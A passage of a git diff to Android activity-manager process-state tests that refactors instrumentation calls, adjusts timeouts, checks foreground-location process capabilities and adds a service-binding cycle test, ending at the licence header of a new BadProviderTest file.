                 STUB_PACKAGE_NAME, android.Manifest.permission.PACKAGE_USAGE_STATS);
         /*
         Log.d("XXXX", "Invoke: " + cmd);
         Log.d("XXXX", "Result: " + result);
-        Log.d("XXXX", SystemUtil.runShellCommand(getInstrumentation(), "dumpsys package "
+        Log.d("XXXX", SystemUtil.runShellCommand(mInstrumentation, "dumpsys package "
                 + STUB_PACKAGE_NAME));
         */
 
@@ -625,7 +625,7 @@
                 appInfo.uid, IMPORTANCE_CACHED, WAIT_TIME);
         uidGoneListener.register();
 
-        WatchUidRunner uidWatcher = new WatchUidRunner(getInstrumentation(), appInfo.uid,
+        WatchUidRunner uidWatcher = new WatchUidRunner(mInstrumentation, appInfo.uid,
                 WAIT_TIME);
 
         // First kill the process to start out in a stable state.
@@ -657,7 +657,7 @@
         uidWatcher.waitFor(WatchUidRunner.CMD_GONE, null, WAIT_TIME);
 
         String cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND deny";
-        String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+        String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
 
         // This is a side-effect of the app op command.
         uidWatcher.expect(WatchUidRunner.CMD_IDLE, null);
@@ -665,11 +665,11 @@
 
         // We don't want to wait for the uid to actually go idle, we can force it now.
         cmd = "am make-uid-idle " + SIMPLE_PACKAGE_NAME;
-        result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+        result = SystemUtil.runShellCommand(mInstrumentation, cmd);
 
         // Make sure app is not yet on whitelist
         cmd = "cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME;
-        result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+        result = SystemUtil.runShellCommand(mInstrumentation, cmd);
 
         // We will use this to monitor when the service is running.
         conn.startMonitoring();
@@ -727,7 +727,7 @@
 
             // Force app to go idle now
             cmd = "am make-uid-idle " + SIMPLE_PACKAGE_NAME;
-            result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+            result = SystemUtil.runShellCommand(mInstrumentation, cmd);
 
             // Wait for services to be stopped by system.
             uidServiceListener.waitForValue(IMPORTANCE_CACHED,
@@ -753,9 +753,9 @@
             uidWatcher.finish();
 
             cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND allow";
-            result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+            result = SystemUtil.runShellCommand(mInstrumentation, cmd);
             cmd = "cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME;
-            result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+            result = SystemUtil.runShellCommand(mInstrumentation, cmd);
 
             uidGoneListener.unregister();
             uidServiceListener.unregister();
@@ -775,7 +775,7 @@
                 SIMPLE_PACKAGE_NAME + SIMPLE_RECEIVER_START_SERVICE);
 
         final ServiceProcessController controller = new ServiceProcessController(mContext,
-                getInstrumentation(), STUB_PACKAGE_NAME, mAllProcesses, WAIT_TIME);
+                mInstrumentation, STUB_PACKAGE_NAME, mAllProcesses, WAIT_TIME);
         final ServiceConnectionHandler conn = new ServiceConnectionHandler(mContext,
                 mServiceIntent, WAIT_TIME);
         final WatchUidRunner uidWatcher = controller.getUidWatcher();
@@ -905,7 +905,7 @@
         activityIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
 
         final ServiceProcessController controller = new ServiceProcessController(mContext,
-                getInstrumentation(), STUB_PACKAGE_NAME, mAllProcesses, WAIT_TIME);
+                mInstrumentation, STUB_PACKAGE_NAME, mAllProcesses, WAIT_TIME);
         final ServiceConnectionHandler conn = new ServiceConnectionHandler(mContext,
                 mServiceIntent, WAIT_TIME);
         final WatchUidRunner uidWatcher = controller.getUidWatcher();
@@ -927,7 +927,7 @@
             waiter.prepare(ACTION_SIMPLE_ACTIVITY_START_SERVICE_RESULT);
             activityIntent.putExtra("service", mServiceIntent);
             mContext.startActivity(activityIntent);
-            Intent resultIntent = waiter.doWait(WAIT_TIME);
+            Intent resultIntent = waiter.doWait(WAIT_TIME * 2);
             int brCode = resultIntent.getIntExtra("result", Activity.RESULT_CANCELED);
             if (brCode != Activity.RESULT_FIRST_USER) {
                 fail("Failed starting service, result=" + brCode);
@@ -987,7 +987,7 @@
     public void testForegroundServiceAppOp() throws Exception {
         // Use default timeout value 5000
         final ServiceProcessController controller = new ServiceProcessController(mContext,
-                getInstrumentation(), STUB_PACKAGE_NAME, mAllProcesses);
+                mInstrumentation, STUB_PACKAGE_NAME, mAllProcesses);
         // Use default timeout value 5000
         final ServiceConnectionHandler conn = new ServiceConnectionHandler(mContext,
                 mServiceIntent);
@@ -1249,12 +1249,12 @@
 
         ActivityManager am = mContext.getSystemService(ActivityManager.class);
 
-        InstrumentationRegistry.getInstrumentation().getUiAutomation().grantRuntimePermission(
+        mInstrumentation.getUiAutomation().grantRuntimePermission(
                 STUB_PACKAGE_NAME, android.Manifest.permission.PACKAGE_USAGE_STATS);
 
         // We don't want to wait for the uid to actually go idle, we can force it now.
         String cmd = "am make-uid-idle " + CANT_SAVE_STATE_1_PACKAGE_NAME;
-        String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+        String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
 
         ApplicationInfo appInfo = mContext.getPackageManager().getApplicationInfo(
                 CANT_SAVE_STATE_1_PACKAGE_NAME, 0);
@@ -1269,11 +1269,15 @@
                 appInfo.uid, ActivityManager.RunningAppProcessInfo.IMPORTANCE_CANT_SAVE_STATE-1,
                 WAIT_TIME);
         uidBackgroundListener.register();
+        UidImportanceListener uidCachedListener = new UidImportanceListener(mContext,
+                appInfo.uid, ActivityManager.RunningAppProcessInfo.IMPORTANCE_CANT_SAVE_STATE + 1,
+                WAIT_TIME);
+        uidCachedListener.register();
 
-        WatchUidRunner uidWatcher = new WatchUidRunner(getInstrumentation(), appInfo.uid,
+        WatchUidRunner uidWatcher = new WatchUidRunner(mInstrumentation, appInfo.uid,
                 WAIT_TIME);
 
-        UiDevice device = UiDevice.getInstance(getInstrumentation());
+        UiDevice device = UiDevice.getInstance(mInstrumentation);
 
         try {
             // Start the heavy-weight app, should launch like a normal app.
@@ -1311,7 +1315,7 @@
             // While in background, should go in to normal idle state.
             // Force app to go idle now
             cmd = "am make-uid-idle " + CANT_SAVE_STATE_1_PACKAGE_NAME;
-            result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+            result = SystemUtil.runShellCommand(mInstrumentation, cmd);
             uidWatcher.expect(WatchUidRunner.CMD_IDLE, null);
 
             // Switch back to heavy-weight app to see if it correctly returns to foreground.
@@ -1333,29 +1337,30 @@
             device.waitForIdle();
 
             // Exit activity, check to see if we are now cached.
-            getInstrumentation().getUiAutomation().performGlobalAction(
+            mInstrumentation.getUiAutomation().performGlobalAction(
                     AccessibilityService.GLOBAL_ACTION_BACK);
 
             // Wait for process to become cached
-            uidBackgroundListener.waitForValue(
+            uidCachedListener.waitForValue(
                     IMPORTANCE_CACHED,
                     IMPORTANCE_CACHED);
             assertEquals(IMPORTANCE_CACHED,
                     am.getPackageImportance(CANT_SAVE_STATE_1_PACKAGE_NAME));
 
             uidWatcher.expect(WatchUidRunner.CMD_CACHED, null);
-            uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_RECENT);
+            uidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_RECENT);
 
             // While in background, should go in to normal idle state.
             // Force app to go idle now
             cmd = "am make-uid-idle " + CANT_SAVE_STATE_1_PACKAGE_NAME;
-            result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+            result = SystemUtil.runShellCommand(mInstrumentation, cmd);
             uidWatcher.expect(WatchUidRunner.CMD_IDLE, null);
 
         } finally {
             uidWatcher.finish();
             uidForegroundListener.unregister();
             uidBackgroundListener.unregister();
+            uidCachedListener.unregister();
         }
     }
 
@@ -1385,25 +1390,25 @@
         homeIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
 
         ActivityManager am = mContext.getSystemService(ActivityManager.class);
-        UiDevice device = UiDevice.getInstance(getInstrumentation());
+        UiDevice device = UiDevice.getInstance(mInstrumentation);
 
-        InstrumentationRegistry.getInstrumentation().getUiAutomation().grantRuntimePermission(
+        mInstrumentation.getUiAutomation().grantRuntimePermission(
                 STUB_PACKAGE_NAME, android.Manifest.permission.PACKAGE_USAGE_STATS);
 
         // We don't want to wait for the uid to actually go idle, we can force it now.
         String cmd = "am make-uid-idle " + CANT_SAVE_STATE_1_PACKAGE_NAME;
-        String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+        String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
         cmd = "am make-uid-idle " + CANT_SAVE_STATE_2_PACKAGE_NAME;
-        result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+        result = SystemUtil.runShellCommand(mInstrumentation, cmd);
 
         ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
                 CANT_SAVE_STATE_1_PACKAGE_NAME, 0);
-        WatchUidRunner uid1Watcher = new WatchUidRunner(getInstrumentation(), app1Info.uid,
+        WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
                 WAIT_TIME);
 
         ApplicationInfo app2Info = mContext.getPackageManager().getApplicationInfo(
                 CANT_SAVE_STATE_2_PACKAGE_NAME, 0);
-        WatchUidRunner uid2Watcher = new WatchUidRunner(getInstrumentation(), app2Info.uid,
+        WatchUidRunner uid2Watcher = new WatchUidRunner(mInstrumentation, app2Info.uid,
                 WAIT_TIME);
 
         try {
@@ -1459,7 +1464,7 @@
 
             // Make sure the original app is idle for cleanliness
             cmd = "am make-uid-idle " + CANT_SAVE_STATE_1_PACKAGE_NAME;
-            result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+            result = SystemUtil.runShellCommand(mInstrumentation, cmd);
             uid1Watcher.expect(WatchUidRunner.CMD_IDLE, null);
 
             // Return to home.
@@ -1497,16 +1502,16 @@
             // Exit activity, check to see if we are now cached.
             waitForAppFocus(CANT_SAVE_STATE_1_PACKAGE_NAME, WAIT_TIME);
             device.waitForIdle();
-            getInstrumentation().getUiAutomation().performGlobalAction(
+            mInstrumentation.getUiAutomation().performGlobalAction(
                     AccessibilityService.GLOBAL_ACTION_BACK);
             uid1Watcher.expect(WatchUidRunner.CMD_CACHED, null);
-            uid1Watcher.expect(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_RECENT);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_RECENT);
 
             // Make both apps idle for cleanliness.
             cmd = "am make-uid-idle " + CANT_SAVE_STATE_1_PACKAGE_NAME;
-            result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+            result = SystemUtil.runShellCommand(mInstrumentation, cmd);
             cmd = "am make-uid-idle " + CANT_SAVE_STATE_2_PACKAGE_NAME;
-            result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+            result = SystemUtil.runShellCommand(mInstrumentation, cmd);
 
         } finally {
             uid2Watcher.finish();
@@ -1564,9 +1569,9 @@
 
             // Clean up: unbind services to avoid from interferences with other tests
             CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
-                PACKAGE_NAME_APP3, PACKAGE_NAME_APP1, 0, null);
+                    PACKAGE_NAME_APP3, PACKAGE_NAME_APP1, 0, null);
             CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
-                PACKAGE_NAME_APP1, PACKAGE_NAME_APP3, 0, null);
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP3, 0, null);
         } finally {
             uid1Watcher.finish();
             uid3Watcher.finish();
@@ -1645,12 +1650,12 @@
 
             // Clean up: unbind services to avoid from interferences with other tests
             CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
-                PACKAGE_NAME_APP2, PACKAGE_NAME_APP3, 0, null);
+                    PACKAGE_NAME_APP2, PACKAGE_NAME_APP3, 0, null);
             CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
-                PACKAGE_NAME_APP3, PACKAGE_NAME_APP1, 0, null);
+                    PACKAGE_NAME_APP3, PACKAGE_NAME_APP1, 0, null);
             // Stop the foreground service
             CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
-                PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
         } finally {
             uid1Watcher.finish();
             uid2Watcher.finish();
@@ -1721,15 +1726,15 @@
 
             // Clean up: unbind services to avoid from interferences with other tests
             CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
-                PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
             CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
-                PACKAGE_NAME_APP1, PACKAGE_NAME_APP3, 0, null);
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP3, 0, null);
             CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
-                PACKAGE_NAME_APP2, PACKAGE_NAME_APP3, 0, null);
+                    PACKAGE_NAME_APP2, PACKAGE_NAME_APP3, 0, null);
             CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
-                PACKAGE_NAME_APP3, PACKAGE_NAME_APP2, 0, null);
+                    PACKAGE_NAME_APP3, PACKAGE_NAME_APP2, 0, null);
             CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
-                PACKAGE_NAME_APP3, PACKAGE_NAME_APP1, 0, null);
+                    PACKAGE_NAME_APP3, PACKAGE_NAME_APP1, 0, null);
         } finally {
             uid1Watcher.finish();
             uid2Watcher.finish();
@@ -1739,8 +1744,8 @@
 
     /**
      * Test process states for foreground service with and without location type in the manifest.
-     * When running a foreground service with location type, the process should go to
-     * PROCESS_STATE_FOREGROUND_SERVICE_LOCATION.
+     * When running a foreground service with location type, the process will have
+     * PROCESS_CAPABILITY_FOREGROUND_LOCATION.
      * @throws Exception
      */
     public void testFgsLocation() throws Exception {
@@ -1754,7 +1759,9 @@
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
-            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
+                    WatchUidRunner.STATE_FG_SERVICE,
+                    new Integer(PROCESS_CAPABILITY_NONE));
 
             // Try to elevate to foreground service location
             Bundle bundle = new Bundle();
@@ -1764,13 +1771,16 @@
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE_LOCATION,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, bundle);
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
-                    WatchUidRunner.STATE_FG_SERVICE_LOCATION);
+                    WatchUidRunner.STATE_FG_SERVICE,
+                    new Integer(PROCESS_CAPABILITY_FOREGROUND_LOCATION));
 
             // Back down to foreground service
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
-            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
+                    WatchUidRunner.STATE_FG_SERVICE,
+                    new Integer(PROCESS_CAPABILITY_NONE));
 
             try {
                 uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
@@ -1783,8 +1793,9 @@
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
-            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
-
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
+                    WatchUidRunner.STATE_CACHED_EMPTY,
+                    new Integer(PROCESS_CAPABILITY_NONE));
         } finally {
             uid1Watcher.finish();
         }
@@ -1792,8 +1803,11 @@
 
     /**
      * Test process states for foreground service binding to another app, with and without
-     * BIND_INCLUDE_CAPABILITIES. Bound app should either go to FGS or FGSL, depending on the
-     * flag.
+     * BIND_INCLUDE_CAPABILITIES.
+     * With BIND_INCLUDE_CAPABILITIES flag, PROCESS_CAPABILITY_FOREGROUND_LOCATION can be passed
+     * from client to service.
+     * Without BIND_INCLUDE_CAPABILITIES flag, PROCESS_CAPABILITY_FOREGROUND_LOCATION can not be
+     * passed from client to service.
      * @throws Exception
      */
     public void testFgsLocationBind() throws Exception {
@@ -1804,7 +1818,9 @@
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
                     mAppInfo[0].packageName, mAppInfo[0].packageName, 0, null);
-            mWatchers[0].waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            mWatchers[0].waitFor(WatchUidRunner.CMD_PROCSTATE,
+                    WatchUidRunner.STATE_FG_SERVICE,
+                    new Integer(PROCESS_CAPABILITY_NONE));
 
             // Try to elevate to foreground service location
             Bundle bundle = new Bundle();
@@ -1813,40 +1829,51 @@
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE_LOCATION,
                     mAppInfo[0].packageName, mAppInfo[0].packageName, 0, bundle);
-            // Verify moved to FGSL
+            // Verify app0 has FOREGROUND_LOCATION capability.
             mWatchers[0].waitFor(WatchUidRunner.CMD_PROCSTATE,
-                    WatchUidRunner.STATE_FG_SERVICE_LOCATION);
+                    WatchUidRunner.STATE_FG_SERVICE,
+                    new Integer(PROCESS_CAPABILITY_FOREGROUND_LOCATION));
 
-            // Bind App 0 -> App 1, verify doesn't include capabilities (only FGS, not FGSL)
+            // Bind App 0 -> App 1, verify doesn't include capability.
             CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_BIND_SERVICE,
                     mAppInfo[0].packageName, mAppInfo[1].packageName, 0, null);
-            mWatchers[1].waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            // Verify app1 does NOT have FOREGROUND_LOCATION capability.
+            mWatchers[1].waitFor(WatchUidRunner.CMD_PROCSTATE,
+                    WatchUidRunner.STATE_FG_SERVICE,
+                    new Integer(PROCESS_CAPABILITY_NONE));
 
-            // Bind App 0 -> App 2, include capabilities (FGSL)
+            // Bind App 0 -> App 2, include capability.
             bundle = new Bundle();
             bundle.putInt(CommandReceiver.EXTRA_FLAGS, Context.BIND_INCLUDE_CAPABILITIES);
             CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_BIND_SERVICE,
                     mAppInfo[0].packageName, mAppInfo[2].packageName, 0, bundle);
+            // Verify app2 has FOREGROUND_LOCATION capability.
             mWatchers[2].waitFor(WatchUidRunner.CMD_PROCSTATE,
-                    WatchUidRunner.STATE_FG_SERVICE_LOCATION);
+                    WatchUidRunner.STATE_FG_SERVICE,
+                    new Integer(PROCESS_CAPABILITY_FOREGROUND_LOCATION));
 
             // Back down to foreground service
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
                     mAppInfo[0].packageName, mAppInfo[0].packageName, 0, null);
-            mWatchers[0].waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            // Verify app0 does NOT have FOREGROUND_LOCATION capability.
+            mWatchers[0].waitFor(WatchUidRunner.CMD_PROCSTATE,
+                    WatchUidRunner.STATE_FG_SERVICE,
+                    new Integer(PROCESS_CAPABILITY_NONE));
 
             // Remove foreground service as well
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
                     mAppInfo[0].packageName, mAppInfo[0].packageName, 0, null);
-            mWatchers[0].waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+            mWatchers[0].waitFor(WatchUidRunner.CMD_PROCSTATE,
+                    WatchUidRunner.STATE_CACHED_EMPTY,
+                    new Integer(PROCESS_CAPABILITY_NONE));
 
             // Clean up: unbind services to avoid from interferences with other tests
             CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
-                mAppInfo[0].packageName, mAppInfo[1].packageName, 0, null);
+                    mAppInfo[0].packageName, mAppInfo[1].packageName, 0, null);
             CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
-                mAppInfo[0].packageName, mAppInfo[2].packageName, 0, bundle);
+                    mAppInfo[0].packageName, mAppInfo[2].packageName, 0, bundle);
         } finally {
             shutdownWatchers();
         }
@@ -1866,24 +1893,25 @@
             // This will start an activity in App0
             activity = startSubActivity(ScreenOnActivity.class);
 
-            // Bind Stub -> App 0, verify doesn't include capabilities (only BTOP, not TOP)
+            // Bind Stub -> App 0, verify doesn't include capability (only BTOP, not TOP)
             CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_BIND_SERVICE,
                     STUB_PACKAGE_NAME, mAppInfo[0].packageName, 0, null);
-            mWatchers[0].waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_BOUND_TOP);
+            mWatchers[0].waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_BOUND_TOP,
+                    new Integer(0));
 
-            // Bind Stub -> App 1, include capabilities (TOP)
+            // Bind Stub -> App 1, include capability (TOP)
             Bundle bundle = new Bundle();
             bundle.putInt(CommandReceiver.EXTRA_FLAGS, Context.BIND_INCLUDE_CAPABILITIES);
             CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_BIND_SERVICE,
                     STUB_PACKAGE_NAME, mAppInfo[1].packageName, 0, bundle);
-            mWatchers[1].waitFor(WatchUidRunner.CMD_PROCSTATE,
-                    WatchUidRunner.STATE_TOP);
+            mWatchers[1].waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_BOUND_TOP,
+                    new Integer(PROCESS_CAPABILITY_ALL));
 
             // Clean up: unbind services to avoid from interferences with other tests
             CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
-                STUB_PACKAGE_NAME, mAppInfo[0].packageName, 0, null);
+                    STUB_PACKAGE_NAME, mAppInfo[0].packageName, 0, null);
             CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
-                STUB_PACKAGE_NAME, mAppInfo[1].packageName, 0, bundle);
+                    STUB_PACKAGE_NAME, mAppInfo[1].packageName, 0, bundle);
         } finally {
             shutdownWatchers();
             if (activity != null) {
@@ -2008,11 +2036,11 @@
 
             // Clean up: unbind services to avoid from interferences with other tests
             CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
-                PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
             CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
-                PACKAGE_NAME_APP2, PACKAGE_NAME_APP3, 0, null);
+                    PACKAGE_NAME_APP2, PACKAGE_NAME_APP3, 0, null);
             CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
-                PACKAGE_NAME_APP3, PACKAGE_NAME_APP1, 0, null);
+                    PACKAGE_NAME_APP3, PACKAGE_NAME_APP1, 0, null);
         } finally {
             uid1Listener.unregister();
             uid1ServiceListener.unregister();
@@ -2024,4 +2052,114 @@
             }
         }
     }
+
+    public void testCycleFgAppAndAlert() throws Exception {
+        ApplicationInfo stubInfo = mContext.getPackageManager().getApplicationInfo(
+                STUB_PACKAGE_NAME, 0);
+        ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP1, 0);
+        ApplicationInfo app2Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP2, 0);
+        ApplicationInfo app3Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP3, 0);
+
+        UidImportanceListener stubListener = new UidImportanceListener(mContext,
+                stubInfo.uid, ActivityManager.RunningAppProcessInfo.IMPORTANCE_PERCEPTIBLE,
+                WAITFOR_MSEC);
+        stubListener.register();
+
+        UidImportanceListener uid1Listener = new UidImportanceListener(mContext,
+                app1Info.uid, IMPORTANCE_VISIBLE,
+                WAITFOR_MSEC);
+        uid1Listener.register();
+
+        UidImportanceListener uid2Listener = new UidImportanceListener(mContext,
+                app2Info.uid, IMPORTANCE_VISIBLE,
+                WAITFOR_MSEC);
+        uid2Listener.register();
+
+        UidImportanceListener uid3Listener = new UidImportanceListener(mContext,
+                app3Info.uid, IMPORTANCE_VISIBLE,
+                WAITFOR_MSEC);
+        uid3Listener.register();
+
+        WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
+                WAITFOR_MSEC);
+        WatchUidRunner uid2Watcher = new WatchUidRunner(mInstrumentation, app2Info.uid,
+                WAITFOR_MSEC);
+        WatchUidRunner uid3Watcher = new WatchUidRunner(mInstrumentation, app3Info.uid,
+                WAITFOR_MSEC);
+
+        try {
+            // Stub app should have been in foreground since it's being instrumented.
+
+            // Show an alert on app0
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_ALERT_SERVICE, STUB_PACKAGE_NAME,
+                    STUB_PACKAGE_NAME, 0, null);
+
+            // Start a FGS in app2
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE, PACKAGE_NAME_APP2,
+                    PACKAGE_NAME_APP2, 0, null);
+
+            uid2Listener.waitForValue(IMPORTANCE_FOREGROUND_SERVICE,
+                    IMPORTANCE_FOREGROUND_SERVICE);
+
+            // Bind from app0 to a service in app1
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_BIND_SERVICE,
+                    STUB_PACKAGE_NAME, PACKAGE_NAME_APP1, 0, null);
+
+            // Bind from app2 to a service in app1
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_BIND_SERVICE,
+                    PACKAGE_NAME_APP2, PACKAGE_NAME_APP1, 0, null);
+
+            // Bind from app3 to a service in app1
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_BIND_SERVICE,
+                    PACKAGE_NAME_APP3, PACKAGE_NAME_APP1, 0, null);
+
+            // Create a cycle
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_BIND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP3, 0, null);
+
+            uid1Listener.waitForValue(IMPORTANCE_FOREGROUND_SERVICE,
+                    IMPORTANCE_FOREGROUND_SERVICE);
+            uid3Listener.waitForValue(IMPORTANCE_FOREGROUND_SERVICE,
+                    IMPORTANCE_FOREGROUND_SERVICE);
+
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                    STUB_PACKAGE_NAME, PACKAGE_NAME_APP1, 0, null);
+
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                    PACKAGE_NAME_APP2, PACKAGE_NAME_APP1, 0, null);
+
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                    PACKAGE_NAME_APP3, PACKAGE_NAME_APP1, 0, null);
+
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP3, 0, null);
+
+            // Stop the foreground service
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP2, PACKAGE_NAME_APP2, 0, null);
+
+            // hide the alert
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_STOP_ALERT_SERVICE, STUB_PACKAGE_NAME,
+                    STUB_PACKAGE_NAME, 0, null);
+
+            // Check that the apps' proc state has fallen
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+            uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+            uid3Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+        } finally {
+            stubListener.unregister();
+            uid1Listener.unregister();
+            uid2Listener.unregister();
+            uid3Listener.unregister();
+            uid1Watcher.finish();
+            uid2Watcher.finish();
+            uid3Watcher.finish();
+        }
+    }
 }
diff --git a/tests/app/src/android/app/cts/BadProviderTest.java b/tests/app/src/android/app/cts/BadProviderTest.java
new file mode 100644
index 0000000..3c16fd3
--- /dev/null
+++ b/tests/app/src/android/app/cts/BadProviderTest.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
